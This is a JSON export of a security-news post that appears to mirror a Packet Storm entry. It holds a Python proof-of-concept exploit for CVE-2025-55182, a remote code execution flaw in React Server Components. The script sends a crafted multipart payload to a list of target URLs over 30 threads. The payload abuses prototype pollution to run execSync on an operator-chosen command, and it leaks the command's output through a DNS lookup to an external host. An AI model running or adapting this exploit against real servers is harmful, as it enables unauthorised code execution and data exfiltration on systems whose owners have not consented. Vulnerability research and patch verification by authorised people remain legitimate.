{"id":42352,"date":"2026-04-12T02:00:55","date_gmt":"2026-04-12T02:00:55","guid":{"rendered":"http:\/\/localhost\/?p=42352"},"modified":"2026-04-12T02:00:55","modified_gmt":"2026-04-12T02:00:55","slug":"react-server-1920-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=42352","title":{"rendered":"\ud83d\udcc4 React Server 19.2.0 Remote Code Execution_PACKETSTORM:218661"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-10T17:16:29&#8243;,&#8221;description&#8221;:&#8221;React Server versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 proof of concept remote code execution exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 React Server 19.2.0 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:218661&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-55182&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title:  React Server 19.2.0 &#8211; Remote Code Execution\\n    # Date: 2025-12-05\\n    # Exploit Author: [EynaExp] (https:\/\/github.com\/EynaExp)\\n    # Vendor Homepage: https:\/\/react.dev\\n    # Software Link: https:\/\/react.dev\/reference\/rsc\/server-components\\n    # Version: [19.0.0, 19.1.0, 19.1.1, 19.2.0]\\n    # Tested on: Windows,Linux\\n    # CVE : CVE-2025-55182\\n    \\n    \\n    \\n    \\n    import requests\\n    import urllib3\\n    from concurrent.futures import ThreadPoolExecutor, as_completed\\n    import argparse\\n    \\n    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\\n    \\n    # Color definitions\\n    class Colors:\\n        RED = &#8216;\\\\033[91m&#8217;\\n        GREEN = &#8216;\\\\033[92m&#8217;\\n        YELLOW = &#8216;\\\\033[93m&#8217;\\n        BLUE = &#8216;\\\\033[94m&#8217;\\n        END = &#8216;\\\\033[0m&#8217;\\n    \\n    \\n    print(\\&#8221;\\&#8221;\\&#8221;\\n                \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557   \u2588\u2588\u2557\u2588\u2588\u2588\u2557   \u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2557  \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \\n                \u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u255a\u2588\u2588\u2557 \u2588\u2588\u2554\u255d\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255d\u255a\u2588\u2588\u2557\u2588\u2588\u2554\u255d\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\\n                \u2588\u2588\u2551      \u255a\u2588\u2588\u2588\u2588\u2554\u255d \u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2557   \u255a\u2588\u2588\u2588\u2554\u255d \u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255d\\n                \u2588\u2588\u2551       \u255a\u2588\u2588\u2554\u255d  \u2588\u2588\u2551\u255a\u2588\u2588\u2557\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2551\u2588\u2588\u2554\u2550\u2550\u255d   \u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2554\u2550\u2550\u2550\u255d \\n                \u255a\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557  \u2588\u2588\u2551   \u2588\u2588\u2551 \u255a\u2588\u2588\u2588\u2588\u2551\u2588\u2588\u2551  \u2588\u2588\u2551\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2554\u255d \u2588\u2588\u2557\u2588\u2588\u2551     \\n                \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d  \u255a\u2550\u255d   \u255a\u2550\u255d  \u255a\u2550\u2550\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u255d\u255a\u2550\u255d  \u255a\u2550\u255d\u255a\u2550\u255d     \\n    \\n                        CVE-2025-55182 Proof of Concept\\n    \\t\\t\\t\\tby EynaExp\\n                       GitHub: https:\/\/github.com\/EynaExp\\n    \\&#8221;\\&#8221;\\&#8221;)\\n    print(f\\&#8221;{Colors.RED}Disclaimer:\\\\nThis tool is released for EDUCATIONAL and AUTHORIZED TESTING purposes only.\\\\nThe author is not responsible for any misuse or damage caused by this program.{Colors.END}\\&#8221;)\\n    \\n    \\n    \\n    \\n    \\n    class NoUsageParser(argparse.ArgumentParser):\\n        def error(self, message):\\n            # completely suppress argparse usage\\n            print(f\\&#8221;Error: {message}\\&#8221;)\\n            raise SystemExit(1)\\n    \\n    parser = NoUsageParser(description=\\&#8221;EynaExp Scanner\\&#8221;)\\n    \\n    parser.add_argument(&#8216;-d&#8217;, required=True)\\n    parser.add_argument(&#8216;-l&#8217;, required=True)\\n    parser.add_argument(&#8216;-c&#8217;, required=True)\\n    print(f\\&#8221;{Colors.GREEN}\\\\n[+]APP USAGE :\\\\n[-d] \\u003cDNS(without http\/s)\\u003e\\\\n[-l] \\u003cTargets file path(url wordlist)\\u003e\\\\n[-C] \\u003cCommand\\u003e{Colors.END}\\\\n\\&#8221;)\\n    \\n    \\n    \\n    args = parser.parse_args()\\n    \\n    \\n    \\n    dns_endpoint = args.d.strip()\\n    targets_file_path = args.l.strip()\\n    CMD = args.c.strip()\\n    \\n    headers = {\\n        \\&#8221;User-Agent\\&#8221;: \\&#8221;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/142.0.0.0 Safari\/537.36\\&#8221;,\\n        \\&#8221;Next-Action\\&#8221;: \\&#8221;x\\&#8221;,\\n        \\&#8221;Content-Type\\&#8221;: \\&#8221;multipart\/form-data; boundary=&#8212;-WebKitFormBoundaryx8jO2oVc6SWP3Sad\\&#8221;\\n    }\\n    request_body = (\\n        \\&#8221;&#8212;&#8212;WebKitFormBoundaryx8jO2oVc6SWP3Sad\\\\r\\\\n\\&#8221;\\n        \\&#8221;Content-Disposition: form-data; name=\\\\\\&#8221;0\\\\\\&#8221;\\\\r\\\\n\\\\r\\\\n\\&#8221;\\n        \\&#8221;{\\\\\\&#8221;then\\\\\\&#8221;:\\\\\\&#8221;$1:__proto__:then\\\\\\&#8221;,\\\\\\&#8221;status\\\\\\&#8221;:\\\\\\&#8221;resolved_model\\\\\\&#8221;,\\\\\\&#8221;reason\\\\\\&#8221;:-1,\\&#8221;\\n        \\&#8221;\\\\\\&#8221;value\\\\\\&#8221;:\\\\\\&#8221;{\\\\\\\\\\\\\\&#8221;then\\\\\\\\\\\\\\&#8221;:\\\\\\\\\\\\\\&#8221;$B1337\\\\\\\\\\\\\\&#8221;}\\\\\\&#8221;,\\&#8221;\\n        \\&#8221;\\\\\\&#8221;_response\\\\\\&#8221;:{\\\\\\&#8221;_prefix\\\\\\&#8221;:\\\\\\&#8221;process.mainModule.require(&#8216;child_process&#8217;).execSync(&#8216;nslookup `\\&#8221;+CMD+\\&#8221;`.\\&#8221;+dns_endpoint+\\&#8221;&#8216;);\\\\\\&#8221;,\\&#8221;\\n        \\&#8221;\\\\\\&#8221;_formData\\\\\\&#8221;:{\\\\\\&#8221;get\\\\\\&#8221;:\\\\\\&#8221;$1:constructor:constructor\\\\\\&#8221;}}}\\\\r\\\\n\\&#8221;\\n        \\&#8221;&#8212;&#8212;WebKitFormBoundaryx8jO2oVc6SWP3Sad\\\\r\\\\n\\&#8221;\\n        \\&#8221;Content-Disposition: form-data; name=\\\\\\&#8221;1\\\\\\&#8221;\\\\r\\\\n\\\\r\\\\n\\&#8221;\\n        \\&#8221;\\\\\\&#8221;$@0\\\\\\&#8221;\\\\r\\\\n\\&#8221;\\n        \\&#8221;&#8212;&#8212;WebKitFormBoundaryx8jO2oVc6SWP3Sad&#8211;\\\\r\\\\n\\&#8221;\\n    )\\n    \\n    def send_request(target_url):\\n        try:\\n            response = requests.post(target_url, headers=headers, data=request_body, timeout=10, verify=False)\\n            result_message = f\\&#8221;{Colors.GREEN}[+] {target_url} -\\u003e {response.status_code} ({len(response.content)} bytes){Colors.END}\\&#8221;\\n            \\n            for header_key in [\\&#8221;x-action\\&#8221;, \\&#8221;next-action\\&#8221;, \\&#8221;rsc\\&#8221;]:\\n                if header_key in response.headers:\\n                    result_message += f\\&#8221;\\\\n{Colors.BLUE}    header match: {header_key} = {response.headers.get(header_key)}{Colors.END}\\&#8221;\\n    \\n            return result_message\\n    \\n        except Exception as exception:\\n            return f\\&#8221;{Colors.RED}[-] {target_url} -\\u003e error: {exception}{Colors.END}\\&#8221;\\n    \\n    with open(targets_file_path) as file_handle:\\n        target_urls = [line.strip() for line in file_handle if line.strip()]\\n    \\n    print(f\\&#8221;{Colors.YELLOW}[*] Loaded {len(target_urls)} targets \u2014 starting multi-thread scan&#8230;{Colors.END}\\\\n\\&#8221;)\\n    with ThreadPoolExecutor(max_workers=30) as executor:\\n        futures = {executor.submit(send_request, url): url for url in target_urls}\\n    \\n        for future in as_completed(futures):\\n            print(future.result())&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/218661&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:10,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/218661\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-10T17:16:29&#8243;,&#8221;description&#8221;:&#8221;React Server versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 proof of concept remote code execution exploit&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 React Server 19.2.0 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:218661&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-55182&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: React Server&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,36,12,13,53,7,11,5],"class_list":["post-42352","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-100","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 React Server 19.2.0 Remote Code Execution_PACKETSTORM:218661 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=42352\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta 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